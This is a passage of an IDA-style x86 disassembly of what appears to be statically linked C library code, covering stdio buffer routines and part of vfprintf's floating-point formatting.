		mov	[edi+18h], esi
		add	esi, ebx
		mov	[edi+8], esi

loc_8052F1A:				; CODE XREF: sub_8052E80+87j
		mov	ecx, [ebp+arg_0]
		mov	[ecx+54h], ebx
		mov	dword ptr [ecx+58h], 0
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8052E80	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8052F34	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		push	0
		push	eax
		push	edx
		push	ebx
		call	sub_8052E80
		or	byte ptr [ebx],	8
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8052F34	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8052F58	proc near

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+arg_4], 0FFFFFFFFh
		setz	al
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		mov	ecx, [ebx+14h]
		sub	ecx, [ebx+10h]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebx+4]
		sub	ecx, [ebx+0Ch]
		mov	[ebp+var_C], ecx
		test	byte ptr [ebx],	8
		jz	short loc_8052FA0
		xor	eax, eax
		cmp	[ebp+var_4], 0
		jnz	loc_805306C

loc_8052F96:				; CODE XREF: sub_8052F58+84j
					; sub_8052F58+9Bj
		mov	eax, 0FFFFFFFFh
		jmp	loc_805306C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052FA0:				; CODE XREF: sub_8052F58+30j
		mov	ecx, [ebp+var_8]
		cmp	[ebx+54h], ecx
		jnb	short loc_8052FAB
		mov	[ebx+54h], ecx

loc_8052FAB:				; CODE XREF: sub_8052F58+4Ej
		mov	eax, [ebx]
		and	eax, 0C00h
		cmp	eax, 400h
		jnz	short loc_8052FCB
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx
		or	dword ptr [ebx], 800h
		mov	ecx, [ebx+54h]
		mov	[ebp+var_C], ecx

loc_8052FCB:				; CODE XREF: sub_8052F58+5Fj
		mov	eax, [ebx+20h]
		sub	eax, [ebx+1Ch]
		add	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jb	short loc_8053037
		test	byte ptr [ebx],	1
		jnz	short loc_8052F96
		mov	edi, [ebx+20h]
		sub	edi, [ebx+1Ch]
		add	edi, edi
		push	edi
		mov	eax, [ebx+58h]
		call	eax
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_8052F96
		mov	edx, [ebx+1Ch]
		mov	eax, [ebx+20h]
		sub	eax, edx
		push	eax
		push	edx
		push	esi
		call	memcpy
		add	esp, 0Ch
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_8053021
		mov	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+5Ch]
		call	eax
		mov	dword ptr [ebx+1Ch], 0
		add	esp, 4

loc_8053021:				; CODE XREF: sub_8052F58+B4j
		push	1
		lea	eax, [edi+esi]
		push	eax
		push	esi
		push	ebx
		call	sub_8061B6C
		mov	[ebx+10h], esi
		mov	eax, [ebx+20h]
		mov	[ebx+18h], eax

loc_8053037:				; CODE XREF: sub_8052F58+7Fj
		mov	ecx, [ebp+var_8]
		add	ecx, [ebx+1Ch]
		mov	[ebx+14h], ecx
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	ecx, [ebp+var_C]
		add	ecx, [ebx+1Ch]
		mov	[ebx+4], ecx
		mov	ecx, [ebx+1Ch]
		add	ecx, [ebx+54h]
		mov	[ebx+8], ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_8053069
		mov	eax, [ebx+14h]
		mov	cl, byte ptr [ebp+arg_4]
		mov	[eax], cl
		inc	dword ptr [ebx+14h]

loc_8053069:				; CODE XREF: sub_8052F58+104j
		mov	eax, [ebp+arg_4]

loc_805306C:				; CODE XREF: sub_8052F58+38j
					; sub_8052F58+43j
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8052F58	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8053078	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		sub	eax, [edx+10h]
		cmp	[edx+54h], eax
		jnb	short loc_805308C
		mov	[edx+54h], eax

loc_805308C:				; CODE XREF: sub_8053078+Fj
		mov	eax, [edx]
		and	eax, 0C00h
		cmp	eax, 0C00h
		jnz	short loc_80530A6
		and	dword ptr [edx], 0FFFFF7FFh
		mov	eax, [edx+18h]
		mov	[edx+14h], eax

loc_80530A6:				; CODE XREF: sub_8053078+20j
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+54h]
		mov	[edx+8], ecx
		mov	eax, [edx+4]
		cmp	eax, ecx
		jb	short loc_80530C0
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80530C0:				; CODE XREF: sub_8053078+3Cj
		mov	eax, [edx+4]
		movzx	eax, byte ptr [eax]
		mov	esp, ebp
		pop	ebp
		retn
sub_8053078	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80530CC	proc near		; CODE XREF: sub_80530E4+10p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		sub	eax, [edx+10h]
		cmp	[edx+54h], eax
		jbe	short loc_80530E0
		mov	eax, [edx+54h]

loc_80530E0:				; CODE XREF: sub_80530CC+Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_80530CC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80530E4	proc near

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	esi
		call	sub_80530CC
		mov	edx, eax
		mov	eax, 0FFFFFFFFh
		mov	ecx, [ebp+arg_C]
		test	cl, 1
		jz	short loc_805313A
		cmp	edi, 1
		jz	short loc_8053118
		cmp	edi, 2
		jnz	short loc_8053120
		add	ebx, edx
		jmp	short loc_8053120
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8053118:				; CODE XREF: sub_80530E4+27j
		mov	eax, [esi+4]
		sub	eax, [esi+0Ch]
		add	ebx, eax

loc_8053120:				; CODE XREF: sub_80530E4+2Cj
					; sub_80530E4+30j
		test	ebx, ebx
		jl	short loc_8053160
		cmp	ebx, edx
		ja	short loc_8053160
		mov	ecx, [esi+0Ch]
		add	ecx, ebx
		mov	[esi+4], ecx
		mov	ecx, [esi+0Ch]
		add	ecx, edx
		mov	[esi+8], ecx
		mov	eax, ebx

loc_805313A:				; CODE XREF: sub_80530E4+22j
		mov	ecx, [ebp+arg_C]
		test	cl, 2
		jz	short loc_8053175
		cmp	edi, 1
		jz	short loc_8053150
		cmp	edi, 2
		jnz	short loc_8053158
		add	ebx, edx
		jmp	short loc_8053158
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8053150:				; CODE XREF: sub_80530E4+61j
		mov	eax, [esi+14h]
		sub	eax, [esi+10h]
		add	ebx, eax

loc_8053158:				; CODE XREF: sub_80530E4+66j
					; sub_80530E4+6Aj
		test	ebx, ebx
		jl	short loc_8053160
		cmp	ebx, edx
		jbe	short loc_8053168

loc_8053160:				; CODE XREF: sub_80530E4+3Ej
					; sub_80530E4+42j ...
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8053175
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053168:				; CODE XREF: sub_80530E4+7Aj
		mov	[esi+54h], edx
		mov	ecx, [esi+10h]
		add	ecx, ebx
		mov	[esi+14h], ecx
		mov	eax, ebx

loc_8053175:				; CODE XREF: sub_80530E4+5Cj
					; sub_80530E4+81j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80530E4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8053180	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		test	byte ptr [edx],	8
		jz	short loc_805319C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_805319C
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805319C:				; CODE XREF: sub_8053180+Cj
					; sub_8053180+11j
		push	eax
		push	edx
		call	sub_80623B8
		mov	esp, ebp
		pop	ebp
		retn
sub_8053180	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80531A8	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_80531C6
		test	byte ptr [ebx],	1
		jnz	short loc_80531C6
		mov	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+5Ch]
		call	eax
		add	esp, 4

loc_80531C6:				; CODE XREF: sub_80531A8+Bj
					; sub_80531A8+10j
		mov	dword ptr [ebx+1Ch], 0
		push	ebx
		call	sub_8061FC0
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80531A8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80531DC	proc near		; CODE XREF: sub_8053310+12A2p
					; sub_8053310+12AFp ...

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	ebx, [ebp+var_4]
		cmp	dword ptr [ebx-10h], 0
		jz	short loc_8053208
		cmp	dword ptr [ebx-14h], 66h
		jnz	short loc_8053208
		mov	eax, [ebx-18h]
		dec	dword ptr [ebx-18h]
		test	eax, eax
		jle	short loc_8053208
		xor	esi, esi
		jmp	loc_80532FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053208:				; CODE XREF: sub_80531DC+12j
					; sub_80531DC+18j ...
		cmp	dword ptr [ebx-1Ch], 0
		jnz	short loc_8053238
		mov	eax, [ebx-24h]
		mov	edx, [ebx-20h]
		mov	esi, [edx+eax*4-4]
		push	0Ah
		dec	eax
		push	eax
		push	edx
		push	edx
		call	sub_8058DE0
		mov	ecx, eax
		mov	[ebx-28h], ecx
		mov	edx, [ebx-24h]
		mov	eax, [ebx-20h]
		mov	[eax+edx*4-4], ecx
		jmp	loc_80532FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053238:				; CODE XREF: sub_80531DC+30j
		mov	eax, [ebx-24h]
		cmp	[ebx-1Ch], eax
		jle	short loc_8053250
		xor	esi, esi
		jmp	loc_80532D8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053248:				; CODE XREF: sub_80531DC+CDj
					; sub_80531DC+D4j ...
		lea	eax, [edx+1]
		jmp	short loc_80532C6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8053250:				; CODE XREF: sub_80531DC+62j
		mov	eax, [ebx-1Ch]
		push	eax
		mov	eax, [ebx-2Ch]
		push	eax
		mov	eax, [ebx-24h]
		push	eax
		mov	eax, [ebx-20h]
		push	eax
		mov	eax, [ebx-30h]
		push	eax
		call	sub_8058094
		mov	esi, eax
		mov	edx, [ebx-24h]
		sub	edx, [ebx-1Ch]
		mov	eax, [ebx-30h]
		mov	[eax+edx*4], esi
		mov	eax, [ebx-30h]
		mov	esi, [eax]
		mov	ecx, [ebx-20h]
		mov	edx, [ebx-1Ch]
		add	esp, 14h
		test	edx, edx
		jz	short loc_80532C4
		mov	eax, edx
		neg	eax
		and	eax, 3
		test	edx, edx
		jle	short loc_80532B9
		test	eax, eax
		jz	short loc_80532A4
		cmp	eax, 3
		jge	short loc_80532B9
		cmp	eax, 2
		jge	short loc_80532B2
		jmp	short loc_80532AB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80532A4:				; CODE XREF: sub_80531DC+BAj
					; sub_80531DC+E6j
		dec	edx
		cmp	dword ptr [ecx+edx*4], 0
		jnz	short loc_8053248

loc_80532AB:				; CODE XREF: sub_80531DC+C6j
		dec	edx
		cmp	dword ptr [ecx+edx*4], 0
		jnz	short loc_8053248

loc_80532B2:				; CODE XREF: sub_80531DC+C4j
		dec	edx
		cmp	dword ptr [ecx+edx*4], 0
		jnz	short loc_8053248

loc_80532B9:				; CODE XREF: sub_80531DC+B6j
					; sub_80531DC+BFj
		dec	edx
		cmp	dword ptr [ecx+edx*4], 0
		jnz	short loc_8053248
		test	edx, edx
		jnz	short loc_80532A4

loc_80532C4:				; CODE XREF: sub_80531DC+ABj
		xor	eax, eax

loc_80532C6:				; CODE XREF: sub_80531DC+6Fj
		mov	[ebx-24h], eax
		test	eax, eax
		jnz	short loc_80532D8
		mov	dword ptr [ebx-24h], 1
		jmp	short loc_80532FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80532D8:				; CODE XREF: sub_80531DC+66j
					; sub_80531DC+EFj
		push	0Ah
		mov	eax, [ebx-24h]
		push	eax
		mov	eax, [ebx-20h]
		push	eax
		push	eax
		call	sub_8058DE0
		mov	ecx, eax
		mov	[ebx-28h], ecx
		test	ecx, ecx
		jz	short loc_80532FD
		mov	edx, [ebx-24h]
		mov	eax, [ebx-20h]
		mov	[eax+edx*4], ecx
		inc	dword ptr [ebx-24h]

loc_80532FD:				; CODE XREF: sub_80531DC+26j
					; sub_80531DC+56j ...
		mov	eax, esi
		add	al, 30h
		and	eax, 0FFh
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80531DC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8053310	proc near		; DATA XREF: vfprintf+1176o
					; vfprintf+2BF8o

var_164		= byte ptr -164h
var_162		= byte ptr -162h
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 158h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_8]
		mov	[ebp+var_54], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_3C], 0
		mov	[ebp+var_5C], 0
		mov	eax, dword_8078890
		mov	eax, [eax+0Ch]
		mov	[ebp+var_A0], eax
		mov	edi, [ebp+var_A0]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	esi, ecx
		not	esi
		mov	eax, esi
		dec	eax
		push	eax
		mov	edx, [ebp+var_A0]
		push	edx
		lea	ecx, [ebp+var_34]
		push	ecx
		call	sub_805602C
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jg	short loc_8053388
		mov	eax, dword_8078890
		mov	eax, [eax+0Ch]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_34], eax

loc_8053388:				; CODE XREF: sub_8053310+68j
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+28h], 0
		jz	short loc_80533E6
		mov	edx, dword_8078890
		mov	edx, [edx+14h]
		mov	[ebp+var_50], edx
		cmp	byte ptr [edx],	0
		jz	short loc_80533E6
		cmp	byte ptr [edx],	0FFh
		jz	short loc_80533E6
		mov	eax, dword_8078890
		mov	edx, [eax+10h]
		xor	al, al
		mov	edi, edx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		push	eax
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_805602C
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_80533E0
		mov	eax, dword_8078890
		mov	eax, [eax+10h]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_38], eax

loc_80533E0:				; CODE XREF: sub_8053310+C0j
		cmp	[ebp+var_38], 0
		jnz	short loc_80533ED

loc_80533E6:				; CODE XREF: sub_8053310+7Fj
					; sub_8053310+90j ...
		mov	[ebp+var_50], 0

loc_80533ED:				; CODE XREF: sub_8053310+D4j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+0Ch], 0
		jz	loc_8053494
		mov	eax, [ebx]
		mov	edx, [eax]
		mov	ecx, [eax+4]
		mov	dword ptr [ebp+var_C], edx
		mov	dword ptr [ebp+var_C+4], ecx
		mov	edx, [eax+8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	edx, dword ptr [ebp+var_C+4]
		push	eax
		push	edx
		mov	eax, dword ptr [ebp+var_C]
		push	eax
		call	sub_8057F0C
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_80534B5
		mov	eax, [ebp+var_4]
		mov	edx, dword ptr [ebp+var_C+4]
		push	eax
		push	edx
		mov	eax, dword ptr [ebp+var_C]
		push	eax
		call	sub_8057E98
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_8053460
		mov	[ebp+var_54], offset unk_8067F88
		fldz
		fld	tbyte ptr [ebp+var_C]
		fcompp	st(1), st
		fnstsw	ax
		and	ah, 45h
		cmp	ah, 1
		setz	al
		jmp	loc_80534F0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053460:				; CODE XREF: sub_8053310+12Fj
		mov	eax, [ebp+var_4]
		mov	edx, dword ptr [ebp+var_C+4]
		push	eax
		push	edx
		mov	eax, dword ptr [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_8058634
		mov	[ebp+var_24], eax
		shl	eax, 5
		add	eax, 0FFFFFFC1h
		mov	[ebp+var_58], eax
		add	esp, 1Ch
		jmp	loc_8053526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053494:				; CODE XREF: sub_8053310+E4j
		mov	eax, [ebx]
		mov	edx, [eax]
		mov	ecx, [eax+4]
		mov	dword ptr [ebp+var_C], edx
		mov	dword ptr [ebp+var_C+4], ecx
		mov	eax, dword ptr [ebp+var_C+4]
		mov	edx, dword ptr [ebp+var_C]
		push	eax
		push	edx
		call	sub_8057ED8
		add	esp, 8
		test	eax, eax
		jz	short loc_80534C8

loc_80534B5:				; CODE XREF: sub_8053310+113j
		mov	[ebp+var_54], offset unk_8067F84
		mov	[ebp+var_3C], 0
		jmp	short loc_8053526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80534C8:				; CODE XREF: sub_8053310+1A3j
		mov	eax, dword ptr [ebp+var_C+4]
		mov	edx, dword ptr [ebp+var_C]
		push	eax
		push	edx
		call	sub_8057E64
		add	esp, 8
		test	eax, eax
		jz	short loc_80534FC
		mov	[ebp+var_54], offset unk_8067F88
		fldz
		fcomp	[ebp+var_C]
		fnstsw	ax
		and	ah, 45h
		setz	al

loc_80534F0:				; CODE XREF: sub_8053310+14Aj
		and	eax, 0FFh
		mov	[ebp+var_3C], eax
		jmp	short loc_8053526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80534FC:				; CODE XREF: sub_8053310+1CAj
		mov	eax, dword ptr [ebp+var_C+4]
		mov	edx, dword ptr [ebp+var_C]
		push	eax
		push	edx
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_8057F88
		mov	[ebp+var_24], eax
		shl	eax, 5
		add	eax, 0FFFFFFCCh
		mov	[ebp+var_58], eax
		add	esp, 18h

loc_8053526:				; CODE XREF: sub_8053310+17Ej
					; sub_8053310+1B3j ...
		cmp	[ebp+var_54], 0
		jz	loc_80536C4
		mov	eax, [ebp+arg_4]
		mov	esi, [eax]
		cmp	[eax+4], esi
		jle	short loc_805353D
		mov	esi, [eax+4]

loc_805353D:				; CODE XREF: sub_8053310+228j
		cmp	[ebp+var_3C], 0
		jnz	short loc_8053552
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+24h], 0
		jnz	short loc_8053552
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_8053553

loc_8053552:				; CODE XREF: sub_8053310+231j
					; sub_8053310+23Aj
		dec	esi

loc_8053553:				; CODE XREF: sub_8053310+240j
		add	esi, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+20h], 0
		jnz	short loc_805357F
		test	esi, esi
		jle	short loc_805357F
		push	esi
		push	20h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_8062534
		mov	ebx, eax
		add	esp, 0Ch
		cmp	ebx, esi
		jnz	loc_8054BD6
		add	[ebp+var_5C], esi

loc_805357F:				; CODE XREF: sub_8053310+24Dj
					; sub_8053310+251j
		cmp	[ebp+var_3C], 0
		jz	short loc_80535C0
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+18h], edx
		ja	short loc_80535AC
		push	2Dh
		push	ecx

loc_8053596:				; CODE XREF: sub_8053310+2CAj
					; sub_8053310+2FAj
		call	sub_8061910
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		jz	loc_8054BD6
		jmp	short loc_805361B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80535AC:				; CODE XREF: sub_8053310+281j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	byte ptr [eax],	2Dh
		mov	edx, [ebp+arg_0]
		inc	dword ptr [edx+14h]
		jmp	short loc_805361B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80535C0:				; CODE XREF: sub_8053310+273j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_80535F0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	edx, [ebp+arg_0]
		cmp	[edx+18h], eax
		ja	short loc_80535DC
		push	2Bh
		push	edx
		jmp	short loc_8053596
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80535DC:				; CODE XREF: sub_8053310+2C5j
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		mov	byte ptr [ecx],	2Bh
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax+14h]
		jmp	short loc_805361B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80535F0:				; CODE XREF: sub_8053310+2B7j
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_805361E
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		mov	eax, [ebp+arg_0]
		cmp	[eax+18h], ecx
		ja	short loc_805360C
		push	20h
		push	eax
		jmp	short loc_8053596
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805360C:				; CODE XREF: sub_8053310+2F5j
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	byte ptr [edx],	20h
		mov	ecx, [ebp+arg_0]
		inc	dword ptr [ecx+14h]

loc_805361B:				; CODE XREF: sub_8053310+299j
					; sub_8053310+2ABj ...
		inc	[ebp+var_5C]

loc_805361E:				; CODE XREF: sub_8053310+2E7j
		mov	ebx, 2
		nop

loc_8053624:				; CODE XREF: sub_8053310+37Ej
		mov	eax, [ebp+var_54]
		movzx	edi, byte ptr [eax]
		inc	eax
		mov	[ebp+var_54], eax
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+18h], edx
		ja	short loc_8053660
		mov	eax, edi
		movzx	edi, al
		mov	[ebp+var_9C], edi
		push	edi
		push	ecx
		call	sub_8061910
		mov	edi, eax
		add	esp, 8
		cmp	edi, 0FFFFFFFFh
		jz	loc_8054BD6
		jmp	short loc_8053686
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8053660:				; CODE XREF: sub_8053310+32Aj
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, edi
		mov	byte ptr [ebp+var_A0], cl
		mov	[edx], cl
		movzx	eax, byte ptr [ebp+var_A0]
		mov	edx, [ebp+arg_0]
		inc	dword ptr [edx+14h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_8054BD6

loc_8053686:				; CODE XREF: sub_8053310+34Cj
